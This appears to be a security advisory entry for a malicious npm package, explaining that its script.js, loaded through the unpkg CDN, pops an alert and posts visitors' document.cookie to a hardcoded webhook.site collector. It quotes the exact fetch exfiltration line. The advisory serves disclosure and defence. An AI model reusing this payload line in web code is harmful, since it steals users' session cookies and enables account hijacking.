GCVE-110-OSM-2026-12436

The package ships a single browser JavaScript file declared as both `main` and `unpkg`, so any page embedding the package via the unpkg CDN loads this script. The script calls `alert(11)` and then executes `fetch('https://webhook.site/c226090c-12b0-462e-81d2-e632c7a58833/', { method: 'POST', mode: 'no-cors', body: document.cookie })`, POSTing `document.cookie` to a hardcoded webhook.site collector. There is no other functionality in the package. Any site that includes this script exfiltrates its visitors' cookies to the attacker-controlled webhook.site endpoint, enabling session hijacking. ENTRY script.js (main: script.js) DESTINATION - 1 exfil (custom-c2) (values recorded in verified_iocs) EXFIL - OAST/Interactsh Exfiltration in script.js: "webhook.site" ADDITIONAL FINDINGS - Brand New Package - Very New NPM Publisher Account - Rapid Version Publishing PAYLOAD FILES script.js